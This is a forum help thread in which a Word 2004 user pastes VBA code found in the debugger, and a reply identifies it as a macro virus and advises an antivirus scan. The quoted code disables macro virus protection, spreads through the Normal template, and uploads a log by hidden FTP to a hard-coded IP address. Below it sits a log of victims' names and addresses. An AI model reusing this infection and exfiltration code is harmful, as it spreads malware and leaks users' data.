Problems Quitting Word 2004

S

Steven Kern

Hello-Everytime I linstall a new Office product, I have trouble
quitting Word. A separate debugger comes up and I have to go through
several steps to quit. When it happened last time, there was a
corrupted item in the preferences, but I don't remember which and
because I've done a clean install, I don't want to guess.

I believe it is a virus that eafects one file. Can anyone help rid me
of this probelem.

Thanks!

Steven Kern

The code from the debugger is, as follows:

Private Sub Document_Close()

On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected,
NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000,
10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info",
"LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"),
Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info",
"LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting
anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i,
1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode

If SaveDocument = True Then ActiveDocument.Save

End If


End If

End Sub

' Logfile -->

' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 09:23:32 AM - Wednesday, 23 Dec 1998
' bcbsa
'



' 12:08:05 PM - Monday, 4 Jan 1999
' ISG
'



' 02:41:37 PM - Tuesday, 5 Jan 1999
' Information Systems Group
'



' 12:49:03 PM - Saturday, 9 Jan 1999
' Mona Sowisky
' CSC Healthcare
' One Embarcadero, Suite 2800
' San Francisco, CA 94111



' 10:30:59 PM - Sunday, 10 Jan 1999
' Information Systems
' CSC Healthcare
' 1675 Broadway, 18th Floor
' New York, NY 10019



' 09:25:05 PM - Monday, 11 Jan 1999
' Marge Bayus
'



' 09:48:00 AM - Wednesday, 20 Jan 1999
' American Systems Corporation
'



' 03:47:36 PM - Saturday, 23 Jan 1999
' Roger J. Connell
'



' 11:50:18 AM - Monday, 25 Jan 1999
' Ralph Skiano
'



' 12:47:03 PM - Tuesday, 26 Jan 1999
' clifford comisky
'



' 11:12:32 AM - Wednesday, 27 Jan 1999
' Susie Hart
'



' 03:09:31 PM - Thursday, 28 Jan 1999
' VisiCom Employee
'



' 08:36:19 AM - Wednesday, 3 Feb 1999
' Bordeaux
'



' 03:19:53 PM - Thursday, 4 Feb 1999
' John T. Beasley
'



' 02:42:43 PM - Monday, 8 Feb 1999
' Carl S. Savino
'



' 09:23:41 AM - Monday, 22 Feb 1999
' Information Services
'



' 10:52:08 AM - Tuesday, 2 Mar 1999
' kathycurry
'



' 07:55:24 PM - Monday, 8 Mar 1999
' Disaster Services
'



' 07:20:59 PM - Wednesday, 10 Mar 1999
' Student014
'



' 09:12:35 AM - Sunday, 14 Mar 1999
' Student 4
'



' 07:58:02 PM - Monday, 29 Mar 1999
' Andrew Fritz
'



' 10:41:56 AM - Tuesday, 13 Apr 1999
' JEAN MITCHELL
' National Fire Information Council
' 7400 Whispering Oaks Dr.
' Austin, Texas 78745



' 11:04:43 AM - Thursday, 26 Aug 1999
' Melondy S. West
'



' 05:55:14 PM - Friday, 3 Sep 1999
' Robert Castaneda
'



' 06:55:10 AM - Monday, 1 Nov 1999
' roberthome
'



' 10:39:52 AM - Monday, 15 Nov 1999
' sales
'



' 05:50:38 PM - Tuesday, 16 Nov 1999
' SAlgazi
' Dealz.com
' 75 Maiden Lane
' Suite # 1206
' New York, NY 10038



' 02:56:34 PM - Wednesday, 17 Nov 1999
' Rachelle A. Dermer
'


' 08:43:57 AM - Tuesday, 26 Jun 2001
' Andrew Kozlowitz
'
 
J

JE McGimpsey

Hello-Everytime I linstall a new Office product, I have trouble
quitting Word. A separate debugger comes up and I have to go through
several steps to quit. When it happened last time, there was a
corrupted item in the preferences, but I don't remember which and
because I've done a clean install, I don't want to guess.

I believe it is a virus that eafects one file. Can anyone help rid me
of this probelem.

Thanks!

Steven Kern

The code from the debugger is, as follows:

Private Sub Document_Close()


yup - it's a rather crude Macro virus. Run a clean operation using up to
date anti-virus software.

After that, make sure the Preferences/Security "Warn before opening a
file that contains macros" checkbox is checked, and for goodness sake,
don't enable macros that you're not sure are OK.

The nice thing is that it doesn't appear to actually fire, since it's
designed to run on Windows.
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Top